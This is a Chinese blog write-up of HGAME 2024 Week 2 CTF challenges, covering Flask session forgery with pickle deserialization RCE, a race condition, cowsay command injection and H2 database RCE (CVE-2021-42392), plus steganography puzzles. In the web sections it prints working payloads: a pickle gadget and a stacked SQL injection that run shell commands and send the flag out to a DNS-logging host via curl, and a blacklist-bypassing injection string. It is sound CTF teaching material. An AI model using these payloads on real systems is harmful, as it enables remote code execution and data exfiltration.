HGAME 2024 WEEK2-By.Starven

发布于 2024-02-22  52 次阅读


web-myflask

考点

  • python的pickle反序列化
  • flask session伪造

分析

进入题目下载了一个app.py源码

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

可以看到app.config['SECRET_KEY'] = currentTime

而且还是打开容器的时间作为key,在一定误差内做一个字典就好了

进入/flag路由进行session伪造

通过脚本写一个 key字典

import datetime

start_time = datetime.datetime.strptime("140750", "%H%M%S")
end_time = datetime.datetime.strptime("142000", "%H%M%S")

current_time = start_time
time_dict = {}

while current_time <= end_time:
    time_str = current_time.strftime("%H%M%S")
    time_dict[time_str] = True
    current_time += datetime.timedelta(seconds=1)

for time_str in time_dict:
    print(time_str)

生成的结果命名为time,当作字典去爆破session的key

flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcHOMg.Z2LTYiSlyO9ue19WqN6uhxs8-VM" -w time --no-literal-eval
image.png

然后登陆,post传参pickle_data为反序列化注入点

import pickle
import base64
class A(object):
  def __reduce__(self):
    return (eval,("__import__('os').system('curl `cat /flag`.qoxzwptuyv.dgrh3.cn')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

#gASVWwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw/X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2N1cmwgYGNhdCAvZmxhZ2AucW94endwdHV5di5kZ3JoMy5jbicplIWUUpQu

然后反序列化

image.png

得到flag

hgameb93b99a54ac764d64ba1298dba17e96ed9b019c6

web-Select More Courses

考点

  • 网页前端代码审计
  • 条件竞争
  • 弱密码登录

分析

进来是一个弱密码登录界面

image.png

弱密码爆破得到密码qwert123

image.png

登录进来之后看到

image.png

先看一下自主选课界面

image.png

发现学分已经上限了

因此逻辑应该是去扩学分申请

image.png
image.png

审计一下前端js代码

<script>
alert("阿菇的提示:Race against time!");
function submitApplication() {
  const requestBody = {
    username: "ma5hr00m"
  };
  fetch("/api/expand", {
    method: "POST",
    headers: {
      "Content-Type": "application/json"
    },
    body: JSON.stringify(requestBody)
  })
    .then(response => response.json())
    .then(data => {
      console.log(data)
      alert(data.message);
    })
    .catch(error => {
      console.error("Error:", error);
    });
}
function cancelApplication() {
  window.location.href = ("/");
}
</script>

注意到这里

function cancelApplication() {
  window.location.href = ("/");
}

可以发现有一个一直重定向/的操作

因此写脚本与这个函数竞争从而来申请到扩学分

(这里我用yakit跑的重复发包)

image.png

然后学分上限就会增加

image.png

flag

hgame{5ak_p45sW0rD_&_r4Ce_c0nDiT10n}

web-What the cow say?

考点

  • 命令注入

分析

进入题目看到输入多少就是多少

经过猜测是不是sql,xss,ssti

image.png

输入*发现问题

image.png
image.png

猜测后端语句是ls image.png

读取flag发现是个文件夹

image.png

payload:

ec''ho `ca''t /f*/*`
image.png

flag:

hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}

最后附上源码

from flask import Flask,            \
| render_template, request, redirect,      |
| url_for import subprocess app =          |
| Flask(__name__) @app.route('/',          |
| methods=['GET', 'POST']) def index():    |
| result = None if request.method ==       |
| 'POST': user_input =                     |
| request.form['user_input'] result =      |
| run_cowsay(user_input) return            |
| render_template('index.html',            |
| result=result) @app.route('/post',       |
| methods=['POST']) def post(): if         |
| request.method == 'POST': user_input =   |
| request.form['user_input'] result =      |
| run_cowsay(user_input) return            |
| render_template('index.html',            |
| result=result) def run_cowsay(text):     |
| try: if (waf(text)): cmd_output =        |
| subprocess.check_output('cowsay ' +      |
| text, text=True,                         |
| stderr=subprocess.STDOUT, shell=True)    |
| return cmd_output.strip() else:          |
| cmd_output =                             |
| subprocess.check_output('cowsay Waf!',   |
| text=True, stderr=subprocess.STDOUT,     |
| shell=True) return cmd_output.strip()    |
| except subprocess.CalledProcessError as  |
| e: return run_cowsay("ERROR!") def       |
| waf(string): blacklist = ['echo',        |
| 'cat', 'tee', ';', '|', '&', '<',        |
| '>','\\','flag'] for black in            |
| blacklist: if (black in string): return  |
| False return True if __name__ ==         |
\ '__main__': app.run("0.0.0.0", port=80)  /
 ------------------------------------------

web-search4member

考点

  • 堆叠注入
  • H2数据库RCE漏洞(CVE-2021-42392)

分析

CVE-2021-42392漏洞复现单独写

查询数据库发现是H2数据库

a' union select 1,database(),3--+

image.png

首先创建一个数据库函数SHELLEXEC

payload:

1';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('curl 域名');--+

or

1';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl 域名');--+

创建完后通过堆叠注入,调用SHELLEXEC从而RCE

curl `cat /flag`.oqtfzruqzd.dgrh3.cn
编码后:
Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu
命令执行为:
'bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}'

payload:
1';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}');--+
image.png

外带出flag

image.png

flag

hgame{bf39e1f653ebbd9384bfe2a80063dcf2b02ad2e3}

reference

https://www.cnblogs.com/shineman-zhang/articles/16753095.html
https://www.cnblogs.com/ArcherCY/p/17699288.html
https://blog.csdn.net/NYG694/article/details/136102280
https://blog.csdn.net/Jayjay___/article/details/136117054

misc-ezword

image.png

考点

  • 盲水印隐写
  • 杂七杂八的decode

分析

下载附件得到一个这是一个word文件.docx,拖进010看文件头发现是zip

改后缀,解压得到

image.png

一般就先看document.xml

里面说flag就在这个文件内部

于是找到

image.png

txt给出hint

恭喜你找到了这些东西,现在你离flag只差解开这个新的压缩包,然后对压缩包里的东西进行两层解密就能获得flag了。压缩包的密码和我放在这的两张图片有关。

很明显要水印解密

image.png
image.png
python bwmforpy3.py decode 1.jpg image1.png jieguo.png
image<1.jpg> + image(encoded)<image1.png> -> watermark<jieguo.png>
image.png

得到zip的key

T1hi3sI4sKey

zip里的secret.txt内容如下

image.png

参考https://blog.csdn.net/weixin_52640415/article/details/125927340

拿去网站解码https://spammimic.com/decode.cgi

得到:

籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

拿去unicode转中文得到

\u7c71\u7c70\u7c6a\u7c76\u7c6e\u7c84\u7c39\u7c74\u7c68\u7c82\u7c78\u7c7e\u7c68\u7c7c\u7c39\u7c75\u7c7f\u7c6e\u7c68\u7c6a\u7c75\u7c3a\u7c68\u7c7d\u7c71\u7c3c\u7c68\u7c7c\u7c6e\u7c6c\u7c7b\u7c3c\u7c7d\u7c86

不妨看一下hgame的十六进制

a =  'hgame'
b = a.encode().hex()
print(b)

#6867616d65

可以发现全都差个9

去除\u7c得到

71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86

依次-9得到

68 67 61 6d 65 7b 30 6b 5f 79 6f 75 5f 73 30 6c 76 65 5f 61 6c 31 5f 74 68 33 5f 73 65 63 72 33 74 7d

得到

hgame{0k_you_s0lve_al1_th3_secr3t}

misc-ek1ng_want_girlfriend

下载流量分析包http流有一个png图片下载下来就是flag

misc-龙之舞

  • 额,被卡最后一步,当时最后的二维码碎片拼出来扫不了,用的工具都对的但是没用明白

    考点

分析

附件下载得到一个wav文件,前五秒存疑

首先audacity打开,默认波形图换成频谱图查看前五秒得到key

image.png

key如下:

KEY:5H8w1nlWCX3hQLG

image.png

由于带key的wav隐写,那么我会想到deepsound和silenteye

这两种隐写不一定需要key,但是有key一定要考虑这两种隐写。

其实文件名也算hint了,拿去deepsound提取出xxx.zip

image.png

里面是一个gif

image.png

拿去stegsolve分帧得到四张二维码碎片

哥们挺心灵手巧的手动拼接了一下奈何扫不出

image.png

通过尝试二维码修复在线网站拼接可以看到decode data有错误

image.png
https://h3110w0r1d.com/qrazybox/

使用教程网站里面有,通过tools里面的

image.png

得到ECC级别L和掩码模式4的时候解码出flag

image.png

大一在读菜鸡ctfer的成长记录